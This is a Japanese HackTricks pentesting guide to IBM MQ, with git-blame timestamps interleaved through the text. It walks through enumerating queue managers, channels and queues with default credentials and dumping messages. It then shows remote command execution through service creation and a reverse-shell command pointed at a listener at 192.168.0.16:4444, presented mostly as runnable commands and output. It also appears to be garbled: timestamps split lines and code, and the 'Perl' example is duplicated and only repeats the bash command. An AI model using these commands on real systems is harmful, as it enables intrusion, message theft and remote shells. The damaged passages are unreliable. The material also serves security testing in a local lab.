2023-11-05 15:03:03 +00:00
# 1414 - IBM MQのペンテスト
< details >
2024-02-09 12:54:39 +00:00
< summary > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > でAWSハッキングをゼロからヒーローまで学ぶ< / strong > < / a > < strong > ! < / strong > < / summary >
2023-11-05 15:03:03 +00:00
2024-02-09 12:54:39 +00:00
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)をチェックしてください!
2024-02-08 04:49:53 +00:00
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
2024-02-07 05:47:12 +00:00
* [**公式PEASS& HackTricksスウェグ** ](https://peass.creator-spring.com )を手に入れましょう
2024-02-09 12:54:39 +00:00
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ ](https://discord.gg/hRep4RUj7f )**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
2024-02-08 04:49:53 +00:00
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
2023-11-05 15:03:03 +00:00
< / details >
## 基本情報
2024-02-07 05:47:12 +00:00
IBM MQは、メッセージキューを管理するためのIBMテクノ ロジーです。他の**メッセージブローカー**技術と同様に、プロデューサーとコンシューマー間の情報を受信、保存、処理、分類することに特化しています。
2023-11-05 15:03:03 +00:00
2024-02-09 12:54:39 +00:00
デフォルトでは、**IBM MQ TCPポート1414**が公開されています。
時々、HTTP REST APIがポート**9443**で公開されていることもあります。
メトリクス( Prometheus) はTCPポート**9157**からアクセスできる場合があります。
2023-11-05 15:03:03 +00:00
2024-02-07 05:47:12 +00:00
IBM MQ TCPポート1414は、メッセージ、キュー、チャネルなどを操作するだけでなく、**インスタンスを制御するためにも使用**できます。
2024-02-09 12:54:39 +00:00
IBMは、[https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq)で利用可能な大規模な技術ドキュメントを提供しています。
2023-11-05 15:03:03 +00:00
## ツール
2024-02-09 12:54:39 +00:00
簡単な悪用のための推奨ツールは**[punch-q](https://github.com/sensepost/punch-q)**で、Dockerを使用します。このツールはPythonライブラリ`pymqi`を積極的に使用しています。
2023-11-05 15:03:03 +00:00
2024-02-07 05:47:12 +00:00
より手動的なアプローチには、Pythonライブラリ**[pymqi](https://github.com/dsuch/pymqi)**を使用します。[IBM MQの依存関係](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere& product=ibm/WebSphere/WebSphere+MQ& release=9.0.0.4& platform=All& function=fixId& fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA& useReleaseAsTarget=true& includeSupersedes=0& source=fc)が必要です。
2023-11-05 15:03:03 +00:00
### pymqiのインストール
2024-02-07 05:47:12 +00:00
**IBM MQの依存関係**をインストールしてロードする必要があります:
2023-11-05 15:03:03 +00:00
1. [https://login.ibm.com/ ](https://login.ibm.com/ )でアカウント( IBMid) を作成します。
2024-02-07 05:47:12 +00:00
2. [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc ](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc )からIBM MQライブラリをダウンロードします。Linux x86_64用には**9.0.0.4-IBM-MQC-LinuxX64.tar.gz**があります。
2023-11-05 15:03:03 +00:00
3. 解凍します(`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`)。
2024-02-07 05:47:12 +00:00
4. ライセンス条件に同意するために`sudo ./mqlicense.sh`を実行します。
2023-11-05 15:03:03 +00:00
2024-02-09 12:54:39 +00:00
>Kali Linuxを使用している場合は、ファイル`mqlicense.sh`を変更してください: 次の行( 105-110行目) を削除またはコメントアウトします:
2023-11-05 15:03:03 +00:00
>
2024-02-07 05:47:12 +00:00
>```bash
>if [ ${BUILD_PLATFORM} != `uname` _`uname ${UNAME_FLAG}` ]
> then
> echo "ERROR: This package is incompatible with this system"
> echo " This package was built for ${BUILD_PLATFORM}"
> exit 1
>fi
>```
2023-11-05 15:03:03 +00:00
5. これらのパッケージをインストールします:
```bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
2024-02-09 12:54:39 +00:00
6. その後、`.so` ファイルを一時的にLDに追加します: `export LD_LIBRARY_PATH=/opt/mqm/lib64`、**他のツールを実行する前に**これらの依存関係を使用して。
2023-11-05 15:03:03 +00:00
2024-02-09 12:54:39 +00:00
次に、プロジェクト [**pymqi** ](https://github.com/dsuch/pymqi ) をクローンします:興味深いコードスニペット、定数などが含まれています。または、次のコマンドでライブラリを直接インストールできます:`pip install pymqi`。
2023-11-05 15:03:03 +00:00
2024-02-07 05:47:12 +00:00
### punch-q の使用
2023-11-05 15:03:03 +00:00
2024-02-07 05:47:12 +00:00
#### Docker を使用する場合
2023-11-05 15:03:03 +00:00
2024-02-09 12:54:39 +00:00
単純に次を使用します:`sudo docker run --rm -ti leonjza/punch-q`。
2023-11-05 15:03:03 +00:00
2024-02-07 05:47:12 +00:00
#### Docker を使用しない場合
2023-11-05 15:03:03 +00:00
2024-02-09 12:54:39 +00:00
プロジェクト [**punch-q** ](https://github.com/sensepost/punch-q ) をクローンし、インストールのために readme に従ってください(`pip install -r requirements.txt && python3 setup.py install`)。
2023-11-05 15:03:03 +00:00
2024-02-07 05:47:12 +00:00
その後、`punch-q` コマンドで使用できます。
2023-11-05 15:03:03 +00:00
## 列挙
2024-02-09 12:54:39 +00:00
**punch-q** または **pymqi** を使用して、**キューマネージャー名、ユーザー、チャネル、およびキュー** を列挙しようとすることができます。
2023-11-05 15:03:03 +00:00
2024-02-09 12:54:39 +00:00
### キューマネージャー
2023-11-05 15:03:03 +00:00
2024-02-09 12:54:39 +00:00
時々、キューマネージャー名を取得するための保護がない場合があります:
2023-11-05 15:03:03 +00:00
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
```
2024-02-07 05:47:12 +00:00
### チャンネル
2023-11-05 15:03:03 +00:00
2024-02-07 05:47:12 +00:00
**punch-q**は既存のチャンネルを見つけるために内部(変更可能)のワードリストを使用しています。使用例:
2023-11-05 15:03:03 +00:00
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```
2024-02-09 12:54:39 +00:00
いくつかのIBM MQインスタンスは、**認証されていない**MQリクエストを受け入れることがありますので、`--username / --password`は必要ありません。もちろん、アクセス権も異なる場合があります。
2023-11-05 15:03:03 +00:00
2024-02-09 12:54:39 +00:00
一度チャネル名(ここでは:`DEV.ADMIN.SVRCONN`)を取得すると、他のすべてのチャネルを列挙することができます。
2023-11-05 15:03:03 +00:00
2024-02-09 12:54:39 +00:00
列挙は基本的に、**pymqi**の`code/examples/dis_channels.py`からのこのコードスニペットを使用して行うことができます。
2023-11-05 15:03:03 +00:00
```python
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s` ' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s` ' % channel_name)
qmgr.disconnect()
```
2024-02-07 05:47:12 +00:00
... しかし、**punch-q**もその部分を埋め込みます(詳細情報付き!)。
次のようにして起動できます:
2023-11-05 15:03:03 +00:00
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
```
### キュー
2024-02-09 12:54:39 +00:00
**pymqi**のコードスニペット(`dis_queues.py`)がありますが、**punch-q**を使用するとキューに関するさらに多くの情報を取得できます。
2023-11-05 15:03:03 +00:00
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
```
## Exploit
### メッセージのダンプ
キュー/チャネルをターゲットにして、そこからメッセージをスニッフィング/ダンプすることができます(破壊的な操作ではありません)。*例:*
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
2024-02-09 12:54:39 +00:00
**特定されたキューすべてに反復処理を躊躇しないでください。**
2023-11-05 15:03:03 +00:00
2024-02-07 05:47:12 +00:00
### コード実行
2024-02-08 04:49:53 +00:00
> 続行する前にいくつかの詳細: IBM MQ は複数の方法で制御できます: MQSC、PCF、Control Command。一般的なリストは[IBM MQドキュメント](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison)にあります。
2024-02-09 12:54:39 +00:00
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programmable Command Formats***) は、リモートでインスタンスとやり取りするために焦点を当てています。**punch-q** そしてさらに **pymqi** は PCF インタラクションに基づいています。
2024-02-08 04:49:53 +00:00
>
2024-02-09 12:54:39 +00:00
> PCFコマンドのリストを見つけることができます:
2023-11-05 15:03:03 +00:00
> * [PCFドキュメントから](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats)、および
> * [定数から](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes)。
2024-02-08 04:49:53 +00:00
>
2024-02-07 05:47:12 +00:00
> 興味深いコマンドの1つは `MQCMD_CREATE_SERVICE` で、そのドキュメントは[こちら](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms)で利用できます。これは、インスタンス上のローカルプログラムを指す `StartCommand` を引数として取ります(例: `/bin/sh`)。
2024-02-08 04:49:53 +00:00
>
2024-02-09 12:54:39 +00:00
> ドキュメントにはコマンドの警告もあります: *"注意: このコマンドを使用すると、ユーザーが mqm 権限で任意のコマンドを実行できます。このコマンドの使用権限が付与された場合、悪意のあるユーザーや不注意なユーザーが、例えば重要なファイルを削除することでシステムやデータを損傷させるサービスを定義できます。"*
2024-02-08 04:49:53 +00:00
>
2024-02-09 12:54:39 +00:00
> *注: IBM MQドキュメント( 管理リファレンス) によれば、サービス作成( `DEFINE SERVICE`) のための等価なMQSCコマンドを実行するためのHTTPエンドポイントも `/admin/action/qmgr/{qmgrName}/mqsc` に存在します。この側面はここではまだカバーされていません。*
2024-02-07 05:47:12 +00:00
2024-02-09 12:54:39 +00:00
リモートプログラムの実行のためのPCFによるサービスの作成/削除は、**punch-q** によって行うことができます:
2023-11-05 15:03:03 +00:00
**例1**
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```
2024-02-07 05:47:12 +00:00
> IBM MQのログには、次のようにコマンドが正常に実行されたことが記録されています:
2023-11-05 15:03:03 +00:00
>
> ```bash
2024-02-07 05:47:12 +00:00
> 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
2023-11-05 15:03:03 +00:00
> ```
2024-02-09 12:54:39 +00:00
マシン上の既存のプログラムを列挙することもできます(ここでは `/bin/doesnotexist` ... 存在しません):
2023-11-05 15:03:03 +00:00
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
2024-02-09 12:54:39 +00:00
**プログラムの起動が非同期であることに注意してください。そのため、エクスプロイトを活用するためには2番目のアイテムが必要です** ** *(逆シェル用のリスナー、異なるサービス上でのファイル作成、ネットワークを介したデータの流出など)***
2023-11-05 15:03:03 +00:00
**例2**
2024-02-09 12:54:39 +00:00
簡単な逆シェルのために、**punch-q** は2つの逆シェルペイロードも提案しています:
2023-11-05 15:03:03 +00:00
2024-02-07 05:47:12 +00:00
- bashを使用したもの
- perlを使用したもの
2023-11-05 15:03:03 +00:00
2024-02-07 05:47:12 +00:00
*もちろん、`execute`コマンドを使用してカスタムの逆シェルを構築することもできます。*
2023-11-05 15:03:03 +00:00
2024-02-07 05:47:12 +00:00
bash用:
2023-11-05 15:03:03 +00:00
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
2024-02-08 04:49:53 +00:00
```plaintext
Perl:
```
```plaintext
Perl:
```
2023-11-05 15:03:03 +00:00
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
2024-02-07 05:47:12 +00:00
### カスタム PCF
2023-11-05 15:03:03 +00:00
2024-02-07 05:47:12 +00:00
IBM MQ のドキュメントを調査し、**punch-q** で実装されていない特定の PCF コマンドをテストするために **pymqi** Python ライブラリを直接使用できます。
2023-11-05 15:03:03 +00:00
**例:**
```python
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
```
2024-02-07 05:47:12 +00:00
定数名が見つからない場合は、[IBM MQドキュメント](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors)を参照できます。
2023-11-05 15:03:03 +00:00
2024-02-09 12:54:39 +00:00
> *[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster)の例( 10進数 = 73) 。`MQCA_CLUSTER_NAME`( 10進数 = 2029) パラメータが必要で、`*`になる場合があります( Doc: ) :*
2023-11-05 15:03:03 +00:00
>
> ```python
> import pymqi
>
> queue_manager = 'MYQUEUEMGR'
> channel = 'DEV.ADMIN.SVRCONN'
> host = '172.17.0.2'
> port = '1414'
> conn_info = '%s(%s)' % (host, port)
> user = 'admin'
> password = 'passw0rd'
>
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
> pcf = pymqi.PCFExecute(qmgr)
>
> try:
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
2024-02-07 05:47:12 +00:00
> print("Error")
2023-11-05 15:03:03 +00:00
> else:
> print(response)
>
> qmgr.disconnect()
> ```
## テスト環境
2024-02-09 12:54:39 +00:00
IBM MQの動作と脆弱性をテストしたい場合は、Dockerをベースにしたローカル環境をセットアップできます:
2023-11-05 15:03:03 +00:00
2024-02-07 05:47:12 +00:00
1. ibm.comおよびcloud.ibm.comにアカウントを持っていること。
2024-02-09 12:54:39 +00:00
2. 次の手順でIBM MQをコンテナ化して作成します:
2023-11-05 15:03:03 +00:00
```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```
2024-02-07 05:47:12 +00:00
デフォルトでは、認証が有効になっており、ユーザー名は `admin` でパスワードは `passw0rd` です(環境変数 `MQ_ADMIN_PASSWORD` )。
ここでは、キューマネージャー名が `MYQUEUEMGR` に設定されています(変数 `MQ_QMGR_NAME` )。
2023-11-05 15:03:03 +00:00
2024-02-09 12:54:39 +00:00
IBM MQを起動してポートを公開している必要があります:
2023-11-05 15:03:03 +00:00
```bash
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
```
2024-02-07 05:47:12 +00:00
> IBM MQの古いバージョンのDockerイメージは次の場所にあります: https://hub.docker.com/r/ibmcom/mq/.
2023-11-05 15:03:03 +00:00
## 参考文献
2024-02-08 04:49:53 +00:00
* [mgeeky's gist - "Practical IBM MQ Penetration Testing notes" ](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec )
2023-11-05 15:03:03 +00:00
* [MQ Jumping - DEFCON 15 ](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf )
2024-02-07 05:47:12 +00:00
* [IBM MQ documentation ](https://www.ibm.com/docs/en/ibm-mq )